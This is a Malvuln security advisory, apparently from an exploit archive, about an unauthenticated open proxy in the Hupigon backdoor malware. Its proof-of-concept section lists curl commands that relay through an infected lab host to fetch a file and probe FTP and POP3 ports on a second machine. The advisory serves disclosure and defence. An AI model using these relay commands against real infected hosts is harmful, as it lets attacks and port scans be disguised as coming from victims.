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Backdoor.Win32.Hupigon.gy MVID-2021-0357 Unauthenticated Open Proxy

Backdoor.Win32.Hupigon.gy MVID-2021-0357 Unauthenticated Open Proxy
Posted Oct 5, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Hupigon.gy malware suffers from an unauthenticated open proxy vulnerability.

tags | exploit
systems | windows
SHA-256 | c1b850b3157ff8f7a08fa428cf706a00ff1b38893cd256c13659e36d4c0c2750

Backdoor.Win32.Hupigon.gy MVID-2021-0357 Unauthenticated Open Proxy

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/be74cbb86c007309d8004d910f5270f7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.gy
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: be74cbb86c007309d8004d910f5270f7
Vuln ID: MVID-2021-0357
Dropped files: woaisaomm.exe
Disclosure: 10/04/2021


Exploit/PoC:
Download filez)

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 12288 0 0:00:02 0:00:02 --:--:-- 11155

Scan ports)

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <25705.1632630840@pop3host>
-ERR Unknown command.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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